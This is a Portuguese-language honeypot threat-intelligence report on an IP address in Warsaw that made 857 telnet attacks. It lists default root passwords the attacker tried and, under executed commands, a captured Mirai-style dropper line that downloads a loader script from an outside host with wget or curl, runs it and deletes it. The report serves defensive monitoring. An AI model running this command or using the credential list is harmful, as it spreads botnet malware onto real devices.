TROYANOSYVIRUS
Ameaca Ativa • MEDIO

92.118.205.122

Pais de Origem🇵🇱 Polonia
Primeira Deteccao18/04/2026
Ultima Atividade18/04/2026
ISPBrainStorm Network, Inc
🎯
857
Ataques Totais
🔌
1
Portas
📡
1
Tipos de Ataque
🦠
2
Malware

Geolocalizacao

Pais
🇵🇱 Polonia
Cidade
Warsaw
ASN
AS136258
ISP
BrainStorm Network, Inc

Tipos de Ataque

ssh_telnet_honeypot

Portas Atacadas

23

Malware Associado

9641be11c9ed0855a453...→da41d24f215ed0146853...→

Credenciais Tentadas

🔐root/password
50x
🔐root/root
48x
🔐root/admin
48x
🔐root/(vazio)
47x

Comandos Executados

$cd /tmp || cd /run || cd /var/run || cd /dev/shm; wget https://tg-xxooxx888.8964.mom/loader.sh -O .x 2>/dev/null || curl -s https://tg-xxooxx888.8964.mom/loader.sh -o .x; chmod 777 .x; ./.x telnet; rm -f .x48x
$echo mirai48x

Exposicao Shodan InternetDBShodan

Dados InternetDB, nao em tempo real

Portas
8080
CPEs
cpe:/a:f5:nginx

Avaliacao de Risco

45
/100
BaixoMedioAltoCritico